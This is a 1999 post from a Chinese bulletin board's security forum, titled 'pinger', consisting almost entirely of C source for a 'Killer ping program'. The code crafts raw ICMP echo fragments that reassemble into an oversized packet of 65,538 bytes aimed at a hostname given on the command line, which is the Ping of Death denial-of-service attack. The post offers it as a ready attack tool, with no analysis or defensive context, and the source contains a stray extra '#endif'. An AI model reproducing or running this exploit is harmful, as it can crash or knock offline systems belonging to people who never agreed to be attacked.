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<hr><p align="left"><small>发信人: biff (大可), 信区: Security <br>
标 题: pinger <br>
发信站: 武汉白云黄鹤站 (Wed Jun 2 17:29:54 1999), 站内信件 <br>
<br>
/* Killer ping program */ <br>
#include <stdio.h> <br>
#include <sys/types.h> <br>
#include <sys/socket.h> <br>
#include <netdb.h> <br>
#include <netinet/in.h> <br>
#include <netinet/in_systm.h> <br>
#include <netinet/ip.h> <br>
#include <netinet/ip_icmp.h> <br>
<br>
/* <br>
* If your kernel doesn't muck with raw packets, #define REALLY_RAW. <br>
* This is probably only Linux. <br>
*/ <br>
#ifdef REALLY_RAW <br>
#define FIX(x) htons(x) <br>
#else <br>
#define FIX(x) (x) <br>
#endif <br>
#endif <br>
<br>
int <br>
main(int argc, char **argv) <br>
{ <br>
int s; <br>
char buf[1500]; <br>
struct ip *ip = (struct ip *)buf; <br>
struct icmp *icmp = (struct icmp *)(ip + 1); <br>
struct hostent *hp; <br>
struct sockaddr_in dst; <br>
int offset; <br>
int on = 1; <br>
<br>
bzero(buf, sizeof buf); <br>
<br>
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { <br>
perror("socket"); <br>
exit(1); <br>
} <br>
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { <br>
perror("IP_HDRINCL"); <br>
exit(1); <br>
} <br>
if (argc != 2) { <br>
fprintf(stderr, "usage: %s hostname\n", argv[0]); <br>
exit(1); <br>
} <br>
if ((hp = gethostbyname(argv[1])) == NULL) { <br>
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { <br>
fprintf(stderr, "%s: unknown host\n", argv[1]); <br>
} <br>
} else { <br>
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); <br>
} <br>
printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); <br>
ip->ip_v = 4; <br>
ip->ip_hl = sizeof *ip >> 2; <br>
ip->ip_tos = 0; <br>
ip->ip_len = FIX(sizeof buf); <br>
ip->ip_id = htons(4321); <br>
ip->ip_off = FIX(0); <br>
ip->ip_ttl = 255; <br>
ip->ip_p = 1; <br>
ip->ip_sum = 0; /* kernel fills in */ <br>
ip->ip_src.s_addr = 0; /* kernel fills in */ <br>
<br>
dst.sin_addr = ip->ip_dst; <br>
dst.sin_family = AF_INET; <br>
<br>
icmp->icmp_type = ICMP_ECHO; <br>
icmp->icmp_code = 0; <br>
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); <br>
/* the checksum of all 0's is easy to compute */ <br>
<br>
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { <br>
ip->ip_off = FIX(offset >> 3); <br>
if (offset < 65120) <br>
ip->ip_off |= FIX(IP_MF); <br>
else <br>
ip->ip_len = FIX(418); /* make total 65538 */ <br>
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, <br>
sizeof dst) < 0) { <br>
fprintf(stderr, "offset %d: ", offset); <br>
perror("sendto"); <br>
} <br>
if (offset == 0) { <br>
icmp->icmp_type = 0; <br>
icmp->icmp_code = 0; <br>
icmp->icmp_cksum = 0; <br>
} <br>
} <br>
} <br>
<br>
-- <br>
</small><hr>
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